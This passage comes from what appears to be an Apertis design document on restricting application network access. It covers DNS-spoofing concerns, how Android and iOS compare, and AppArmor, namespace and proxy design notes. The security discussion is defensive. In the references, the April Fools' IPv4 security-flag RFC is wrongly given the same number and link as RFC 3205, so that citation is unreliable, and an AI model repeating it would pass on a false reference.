562 “spoofed”DNS results indicating that the hostname resolves to an IP address

563 under the attacker’s control.

564 • **Unresolved:** is this in-scope?

565 • If preventing this attack is in-scope, the application’s name resolution must

566 fail.

567 – **Unresolved:** **DNSSEC**<sup>32</sup> solves this, but is not widely-deployed. For

568 example, `twitter.com` is an example of a major site that is not pro-

569 tected by DNSSEC.

570 • That attack must *not* be treated as **evidence that the application has been**

571 **compromised**.

572 – *Rationale: if it was, then an attacker could easily deny availability*

573 *by spoofing DNS results for a popular application. Continuing the*

574 *Twitter example, if the attacker spoofs DNS results for `twitter.com`,*

575 *the Twitter client is unlikely to be able to retrieve new tweets, but the*

576 *user should not be prevented from using the application to read old*

577 *tweets, and the Twitter client must certainly not be blacklisted from*

578 *the app store.*

579 • The solution must not rely on requiring the application process to validate

580 TLS certificates. The certificate must either be validated in a different

581 trust domain, or not relied upon.

582 – *Rationale: the attacker’s code running in a compromised application*

583 *could simply not validate the certificate.*

584 **Other systems** Android **specifically does not support this scenario**<sup>33</sup>. Appli-

585 cations with the `INTERNET` permissions flag can contact any Internet host.

586 Similarly, iOS does not appear to support this scenario: as discussed in **Appli-**

587 **cation without direct Internet access**, all iOS apps can contact the network.

588 It is not clear whether iOS **App Transport Security**<sup>34</sup> is able to prevent unen-

589 crypted HTTP operations by a compromised process. ATS does prevent acci-

590 dental unencrypted HTTP operations when higher-level library functions are

<sup>32</sup>[https://en.wikipedia.org/wiki/Domain\\_Name\\_System\\_Security\\_Extensions](https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions)

<sup>33</sup><https://groups.google.com/forum/#!topic/android-security-discuss/7Hqbhed8bZg>

<sup>34</sup>[https://developer.apple.com/library/ios/documentation/General/Reference/InfoPlistKeyReference/Articles/CocoaKeys.html#//apple\\_ref/doc/uid/TP40009251-SW33](https://developer.apple.com/library/ios/documentation/General/Reference/InfoPlistKeyReference/Articles/CocoaKeys.html#//apple_ref/doc/uid/TP40009251-SW33)



591 used, analogous to what would happen in Apertis if libsoup could be configured  
592 to forbid unencrypted HTTP. However, it is not clear from the public documen-  
593 tation whether iOS apps are able to bypass ATS by using lower-level system  
594 calls such as `socket()`; if they are, then a compromised application could still  
595 send unencrypted HTTP requests. [Xamarin documentation](#)<sup>35</sup> describes the C#  
596 APIs `HttpWebRequest` and `WebServices` as unaffected by ATS, which suggests that  
597 lower-level system calls do indeed bypass ATS. This matches what we recom-  
598 mend

## 599 Design notes

600 Some OS features that could be useful to implement these requirements:

- 601 • Network namespaces (an aspect of containerization) can be used to prevent  
602 networking altogether. If an **Application without direct Internet access** or  
603 **Purely offline application** is contained in its own network namespace, it  
604 loses access to direct network sockets, but can still communicate with  
605 other processes via filesystem-backed IPC, for example D-Bus.
- 606 • AppArmor profiles (mandatory access control) can be used to prevent  
607 networking system calls such as `socket()`. Policy violations are logged to  
608 the audit subsystem, which could be used as input to **Attack detection**.
- 609 • AppArmor profiles (mandatory access control) can prevent an application  
610 from communicating with network management services such as BlueZ or  
611 ConnMan. Again, policy violations are logged to the audit subsystem.
- 612 • AppArmor profiles (mandatory access control) can prevent a **Purely of-**  
613 **fine application** from communicating with network-related services such  
614 as Newport, or peer applications and agents, via D-Bus. Again, policy  
615 violations are logged to the audit subsystem.
- 616 • If an application is able to communicate with a network-related service  
617 such as Newport via D-Bus or another Unix-socket-based protocol, the  
618 network-related service could derive its bundle ID from its AppArmor la-  
619 bel, and use that to perform discretionary access control. **Attack detection**  
620 would have to be done out-of-band, for example by having Newport send  
621 feedback to a privileged service.
- 622 • For **Domain-limited Internet access** or **Internet access limited to common**  
623 **protocols**, if it is required, we could use AppArmor to forbid direct network-  
624 ing, and use a local SOCKS5, HTTP CONNECT or HTTPS CONNECT  
625 proxy; glib-networking provides automatic SOCKS5 and HTTP(S) proxy  
626 support for high-level GLib APIs. We would have to implement an Apertis-  
627 specific GProxyResolver module to make an out-of-band AF\_UNIX or D-  
628 Bus request to negotiate app-specific credentials for that proxy, because  
629 IP connections do not convey a user ID or AppArmor profile. This local  
630 proxy would be written or configured to allow only the requests that we  
631 want to allow.

---

<sup>35</sup><https://docs.microsoft.com/en-gb/xamarin/ios/platform/introduction-to-ios9/#app-transport-security>

632       – Alternatively, if we modified glib-networking to add support for an  
633       Apertis-specific variation of SOCKS5 or HTTP(S) with the connec-  
634       tion to the proxy server made via an AF\_UNIX socket, then applica-  
635       tions contained in a network namespace could also use this technique,  
636       and we could use credentials-passing to get the user ID and AppAr-  
637       mor profile.

## 638 References

- 639       • [RFC 3205](#)<sup>36</sup>, “On the use of HTTP as a Substrate”, describes the problem  
640       of “protocol ossification”.
- 641       • [Ossification of the Internet](#)<sup>37</sup> may have coined the term.
- 642       • [Ossification: a result of not even trying?](#)<sup>38</sup> is a more recent document  
643       revisiting this issue.
- 644       • The April Fools’Day [RFC 3205](#)<sup>39</sup>, “The Security Flag in the IPv4 Header”  
645       , alludes to the difficulties faced when attempting to distinguish between  
646       malicious and benign network traffic.

---

<sup>36</sup><https://tools.ietf.org/html/rfc3205>

<sup>37</sup><http://www.scs.stanford.edu/nyu/04sp/notes/123.pdf>

<sup>38</sup>[https://www.iab.org/wp-content/IAB-uploads/2014/12/semi2015\\_welzl.pdf](https://www.iab.org/wp-content/IAB-uploads/2014/12/semi2015_welzl.pdf)

<sup>39</sup><https://tools.ietf.org/html/rfc3205>